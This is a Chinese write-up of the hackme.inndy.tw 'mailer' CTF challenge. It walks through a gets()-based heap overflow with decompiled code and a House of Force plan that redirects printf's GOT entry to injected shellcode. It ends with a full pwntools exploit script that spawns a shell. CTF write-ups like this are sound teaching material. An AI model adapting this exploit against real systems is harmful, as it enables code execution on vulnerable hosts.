hackme.inndy.tw——mailer
Posted pfcode
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了hackme.inndy.tw——mailer相关的知识,希望对你有一定的参考价值。
32位程序,没开PIE,NX,可写入可执行代码 #House Of Force
程序逻辑
1 int service() 2 { 3 unsigned int v0; // eax 4 5 qmemcpy(&helloworld, &unk_8048AA0, 0x48u); 6 root = (int)&helloworld; 7 memcpy((char *)&helloworld + 72, "Hello, World", 0xCu); 8 while ( 1 ) 9 { 10 while ( 1 ) 11 { 12 puts("0. Exit"); 13 puts("1. Write mail"); 14 puts("2. Dump mails"); 15 printf("Action: "); 16 v0 = readint(); 17 if ( v0 != 1 ) 18 break; 19 write_mail(); 20 } 21 if ( v0 < 1 ) 22 break; 23 if ( v0 == 2 ) 24 dump_mail(); 25 else 26 puts("Invalid choice"); 27 } 28 return puts("Bye"); 29 }
write_mail模块如下,用了gets,造成堆溢出
1 int write_mail() 2 { 3 int v0; // eax 4 int v1; // ST1C_4 5 int result; // eax 6 7 printf("Content Length: "); 8 v0 = readint(); 9 v1 = new_mail(v0); 10 printf("Title: "); 11 gets((char *)(v1 + 4)); //堆溢出 12 printf("Content: "); 13 gets((char *)(v1 + 72));//堆溢出 14 *(_DWORD *)v1 = root; 15 result = v1; 16 root = v1; 17 return result; 18 }
结构体如下
1 00000000 rifle struc ; (sizeof=0x48+size) 2 00000000 ptr db 4 dup(?) 3 00000004 title db 64 dup(?) 4 00000044 size db 4 dup(?) ; offset 5 00000048 content db size dup(?) 6 00000048+size rifle ends
dump_mail函数用来泄露地址
1 int dump_mail() 2 { 3 _DWORD *v1; // [esp+8h] [ebp-10h] 4 signed int v2; // [esp+Ch] [ebp-Ch] 5 6 v1 = (_DWORD *)root; 7 v2 = 1; 8 while ( v1 ) 9 { 10 printf("-- Mail %d: ", v2); 11 printf("Title: %s ", v1 + 1); 12 printf("Content: "); 13 fwrite(v1 + 18, 1u, v1[17], stdout); 14 printf(" -- End mail %d ", v2++); 15 v1 = (_DWORD *)*v1; 16 } 17 return puts("-- No more mail!"); 18 }
利用思路
- 新建两个mail,创建chunk1和chunk2,其中chunk1输入title时写入shellcode,同时溢出到length,将其改为0x30,在使用dump功能的时候就可以把chunk1的堆地址泄漏出来
- 同时在chunk2中输入content的时候,溢出到top chunk,修改size为0xffffffff
- 再一次申请一个新的mail,大小为
elf.got["printf"] - top- 72-16
- 由于新的top chunk的size = old top chunk的地址+新malloc的chunk的大小,新的top chunk的地址为
elf.got["printf"] -16+4
- 下一次新建mail的时候,再输入的title就会刚刚好位于
elf.got["printf"]
中,修改为shellcode的地址 - 改printf的got表为shellcode地址,从而getshell
expolit
1 from pwn import * 2 sh=process(‘./mailer‘) 3 libc=ELF(‘/lib/i386-linux-gnu/libc.so.6‘) 4 #sh=remote(‘hackme.inndy.tw‘,7721) 5 #libc=ELF(‘./libc-2.23.so.i386‘) 6 elf=ELF(‘./mailer‘) 7 context(os=‘linux‘,) 8 def writemail(size,title,data): 9 sh.recvuntil(‘Action: ‘) 10 sh.sendline(‘1‘) 11 sh.recvuntil(‘Content Length: ‘) 12 sh.sendline(str(size)) 13 sh.recvuntil(‘Title: ‘) 14 sh.sendline(title) 15 sh.recvuntil(‘Content: ‘) 16 sh.sendline(data) 17 18 def dumpmail(): 19 sh.recvuntil(‘Action: ‘) 20 sh.sendline(‘2‘) 21 22 shellcode=asm(shellcraft.i386.linux.sh()) 23 shellcode=shellcode.ljust(0x40,‘x00‘) 24 writemail(32,shellcode+p32(0x30),‘aaaa‘) 25 writemail(32,‘bbbb‘,‘bbbb‘*8+p32(0)+p32(0xffffffff)) 26 dumpmail() 27 sh.recvuntil(‘Mail 2:‘) 28 leak_adr=u32(sh.recvuntil(‘bbbb‘,drop=True)[-4:]) 29 shell_adr=leak_adr+0x4 30 top=leak_adr+0xd8 31 fake_size=elf.got[‘printf‘]-top-72-16 32 print ‘printf_got: ‘+hex(elf.got[‘printf‘]) 33 print ‘top: ‘+hex(top) 34 #gdb.attach(sh) 35 writemail(fake_size,‘aaaa‘,‘bbbb‘) 36 #gdb.attach(sh) 37 sh.sendline(‘1‘) 38 sh.sendline(‘30‘) 39 sh.sendline(p32(shell_adr)) 40 sh.interactive()
以上是关于hackme.inndy.tw——mailer的主要内容,如果未能解决你的问题,请参考以下文章
php mailer Mailer 错误:无法加载语言字符串:connect_host?